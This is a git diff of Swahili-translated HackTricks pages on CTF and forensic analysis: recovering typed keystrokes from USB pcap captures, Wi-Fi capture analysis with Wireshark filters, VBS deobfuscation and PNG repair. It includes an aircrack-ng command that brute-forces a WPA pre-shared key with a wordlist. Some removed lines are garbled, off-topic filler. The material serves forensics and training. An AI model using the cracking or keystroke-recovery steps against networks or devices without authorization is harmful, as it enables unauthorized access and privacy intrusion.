* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Ikiwa una pcap inayojumuisha mawasiliano kupitia USB ya kibodi kama ifuatavyo:
|
||||
|
||||
.png>)
|
||||
|
||||
Unaweza kutumia zana [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) ili kupata kilichoandikwa katika mawasiliano:
|
||||
Unaweza kutumia zana [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) kupata kilichoandikwa katika mawasiliano:
|
||||
```bash
|
||||
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
|
||||
python3 usbkeyboard.py ./keystrokes.txt
|
||||
```
|
||||
Unaweza kusoma habari zaidi na kupata skrini kadhaa kuhusu jinsi ya kuchambua hii katika:
|
||||
Unaweza kusoma habari zaidi na kupata baadhi ya hati kuhusu jinsi ya kuchambua hii katika:
|
||||
|
||||
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||
* [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inayotangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Angalia BSSIDs
|
||||
|
||||
Unapopokea kuchukua ambayo trafiki kuu ni Wifi ukitumia WireShark, unaweza kuanza uchunguzi wa SSIDs zote za kuchukua na _Wireless --> WLAN Traffic_:
|
||||
Unapopokea kifaa cha kuchukua data ambacho trafiki yake kuu ni Wifi ukitumia WireShark unaweza kuanza uchunguzi wa SSIDs zote za kifaa hicho kwa kutumia _Wireless --> WLAN Traffic_:
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -23,46 +24,30 @@ Unapopokea kuchukua ambayo trafiki kuu ni Wifi ukitumia WireShark, unaweza kuanz
|
|||
|
||||
## Brute Force
|
||||
|
||||
Moja ya nguzo za skrini hiyo inaonyesha ikiwa **uthibitisho wowote ulipatikana ndani ya pcap**. Ikiwa hivyo ndivyo, unaweza kujaribu kudukua kwa kutumia `aircrack-ng`:
|
||||
Moja ya safu za skrini hiyo inaonyesha ikiwa **uthibitisho wowote ulipatikana ndani ya pcap**. Ikiwa hivyo ndivyo, unaweza kujaribu kufanya Brute force kwa kutumia `aircrack-ng`:
|
||||
```bash
|
||||
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
|
||||
```
|
||||
Kwa mfano, itapata neno la siri la WPA linalolinda PSK (pre shared-key), ambalo litahitajika kufichua trafiki baadaye.
|
||||
```markdown
|
||||
Kwa mfano itapata neno la siri la WPA linalolinda PSK (pre shared-key), ambalo litahitajika kufichua trafiki baadaye.
|
||||
|
||||
# Data katika Beacons / Side Channel
|
||||
# Data katika Beacons / Channel ya Upande
|
||||
|
||||
Ikiwa una shaka kwamba **data inavuja ndani ya beacons ya mtandao wa Wifi**, unaweza kuangalia beacons za mtandao kwa kutumia filter kama ifuatavyo: `wlan contains <JINA LA MTANDAO>`, au `wlan.ssid == "JINA LA MTANDAO"` tafuta ndani ya pakiti zilizofanyiwa filter kwa herufi za mashaka.
|
||||
Ikiwa una shaka kwamba **data inavuja ndani ya beacons ya mtandao wa Wifi** unaweza kuangalia beacons ya mtandao kwa kutumia filter kama hii: `wlan contains <JINA laMTANDAO>`, au `wlan.ssid == "JINA laMTANDAO"` tafuta ndani ya pakiti zilizofanyiwa filter kwa herufi shahidi.
|
||||
|
||||
# Tafuta Anwani za MAC Isiyojulikana katika Mtandao wa Wifi
|
||||
# Pata Anwani za MAC Zisizojulikana katika Mtandao wa Wifi
|
||||
|
||||
Kiungo kifuatacho kitakuwa cha manufaa kupata **mashine zinazotuma data ndani ya Mtandao wa Wifi**:
|
||||
Kiungo kifuatacho kitakuwa muhimu kwa kupata **mashine zinazoingiza data ndani ya Mtandao wa Wifi**:
|
||||
|
||||
* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
|
||||
|
||||
Ikiwa tayari unajua **anwani za MAC unaweza kuziondoa kutoka kwa matokeo** kwa kuongeza ukaguzi kama huu: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
|
||||
|
||||
Baada ya kugundua **anwani za MAC zisizojulikana** zinazoshirikiana ndani ya mtandao, unaweza kutumia **filters** kama ifuatavyo: `wlan.addr==<Anwani ya MAC> && (ftp || http || ssh || telnet)` kuchuja trafiki yake. Kumbuka kuwa filters za ftp/http/ssh/telnet ni muhimu ikiwa umefichua trafiki.
|
||||
Baada ya kugundua **anwani za MAC zisizojulikana** zinazotuma data ndani ya mtandao unaweza kutumia **filters** kama hii: `wlan.addr==<anwani ya MAC> && (ftp || http || ssh || telnet)` kufanya filter ya trafiki yake. Kumbuka kuwa filters za ftp/http/ssh/telnet ni muhimu ikiwa umefichua trafiki.
|
||||
|
||||
# Fichua Trafiki
|
||||
|
||||
Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
|
||||
Hariri --> Mapendeleo --> Itifaki --> IEEE 802.11--> Hariri
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
|||
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Aunga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Hapa unaweza kupata mbinu za kuvutia kwa aina maalum za faili na/au programu:
|
||||
|
|
@ -32,21 +33,3 @@ Hapa unaweza kupata mbinu za kuvutia kwa aina maalum za faili na/au programu:
|
|||
{% page-ref page="video-and-audio-file-analysis.md" %}
|
||||
|
||||
{% page-ref page="zips-tricks.md" %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,35 +1,26 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Baadhi ya vitu ambavyo vinaweza kuwa na manufaa kwa kurekebisha/kufuta uficho wa faili ya VBS yenye nia mbaya:
|
||||
Baadhi ya vitu vinavyoweza kuwa vya manufaa kwa kurekebisha/kufuta uficho wa faili ya VBS yenye nia mbaya:
|
||||
|
||||
## echo
|
||||
```bash
|
||||
Wscript.Echo "Like this?"
|
||||
```
|
||||
## Maoni
|
||||
|
||||
Maoni ni sehemu muhimu ya mchakato wa uchunguzi wa kisayansi. Wanaweza kutoa ufahamu muhimu na maelezo kuhusu faili au programu inayochunguzwa. Kwa kawaida, maoni hupatikana katika sehemu ya mwisho ya faili au programu.
|
||||
|
||||
Kusoma na kuelewa maoni ni muhimu katika kufanya uchunguzi wa kina. Maoni yanaweza kutoa maelezo kuhusu madhumuni ya faili au programu, maelezo ya matoleo, au hata maelezo ya mawasiliano ya watengenezaji.
|
||||
|
||||
Katika uchunguzi wa kisayansi, ni muhimu kuchunguza maoni kwa uangalifu ili kupata habari muhimu. Maoni yanaweza kusaidia kufafanua nia ya watengenezaji, kutoa maelezo ya ziada kuhusu kazi ya faili au programu, au hata kutoa maelezo ya mawasiliano ya watengenezaji.
|
||||
|
||||
Kwa kawaida, maoni yanaweza kuwa katika lugha ya asili ya watengenezaji. Ikiwa maoni yameandikwa katika lugha ambayo hauielewi, unaweza kutumia huduma za tafsiri ili kusaidia kuelewa maoni hayo. Kwa mfano, unaweza kutumia huduma za tafsiri za mtandaoni au programu za tafsiri ili kusaidia kusoma na kuelewa maoni katika lugha yako ya asili.
|
||||
|
||||
Kwa kumalizia, maoni ni sehemu muhimu ya uchunguzi wa kisayansi. Wanaweza kutoa ufahamu muhimu na maelezo kuhusu faili au programu inayochunguzwa. Ni muhimu kusoma na kuelewa maoni kwa uangalifu ili kupata habari muhimu katika uchunguzi wako.
|
||||
```bash
|
||||
' this is a comment
|
||||
```
|
||||
|
|
@ -38,27 +29,6 @@ Kwa kumalizia, maoni ni sehemu muhimu ya uchunguzi wa kisayansi. Wanaweza kutoa
|
|||
cscript.exe file.vbs
|
||||
```
|
||||
## Andika data kwenye faili
|
||||
|
||||
To write data to a file in Swahili, you can use the following steps:
|
||||
|
||||
1. Fungua faili kwa kutumia njia ya kuandika (`w`) au kuongeza (`a`).
|
||||
2. Andika data kwenye faili kwa kutumia mbinu ya kuandika.
|
||||
3. Funga faili ili kuhakikisha kuwa data imeandikwa vizuri.
|
||||
|
||||
Hapa kuna mfano wa namna ya kuandika data kwenye faili kwa kutumia Python:
|
||||
|
||||
```python
|
||||
# Fungua faili kwa kuandika
|
||||
faili = open("jina_la_faili.txt", "w")
|
||||
|
||||
# Andika data kwenye faili
|
||||
faili.write("Habari, dunia!")
|
||||
|
||||
# Funga faili
|
||||
faili.close()
|
||||
```
|
||||
|
||||
Kwa kufuata hatua hizi, utaweza kuandika data kwenye faili kwa urahisi.
|
||||
```js
|
||||
Function writeBinary(strBinary, strPath)
|
||||
|
||||
|
|
@ -83,16 +53,17 @@ End With
|
|||
|
||||
End Function
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,33 +1,20 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Faili za PNG** zinathaminiwa sana katika **changamoto za CTF** kwa sababu ya **kupunguza upotevu wa data**, hivyo ni nzuri kwa kujificha kwa data. Zana kama **Wireshark** inawezesha uchambuzi wa faili za PNG kwa kuchambua data zake ndani ya pakiti za mtandao, kuonyesha habari iliyofichwa au kasoro.
|
||||
|
||||
Kwa ajili ya kuthibitisha uadilifu wa faili za PNG na kurekebisha uharibifu, **pngcheck** ni zana muhimu, inayotoa utendaji wa amri ili kuthibitisha na kutambua faili za PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Wakati faili zinahitaji marekebisho zaidi ya rahisi, huduma za mtandaoni kama [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) hutoa suluhisho la mtandao kwa ajili ya **kurekebisha PNG zilizoharibika**, kusaidia katika kupata data muhimu kwa washiriki wa CTF.
|
||||
|
||||
Mbinu hizi zinaonyesha umuhimu wa njia kamili katika CTFs, kwa kutumia mchanganyiko wa zana za uchambuzi na mbinu za marekebisho ili kugundua na kupata data iliyofichwa au iliyopotea.
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
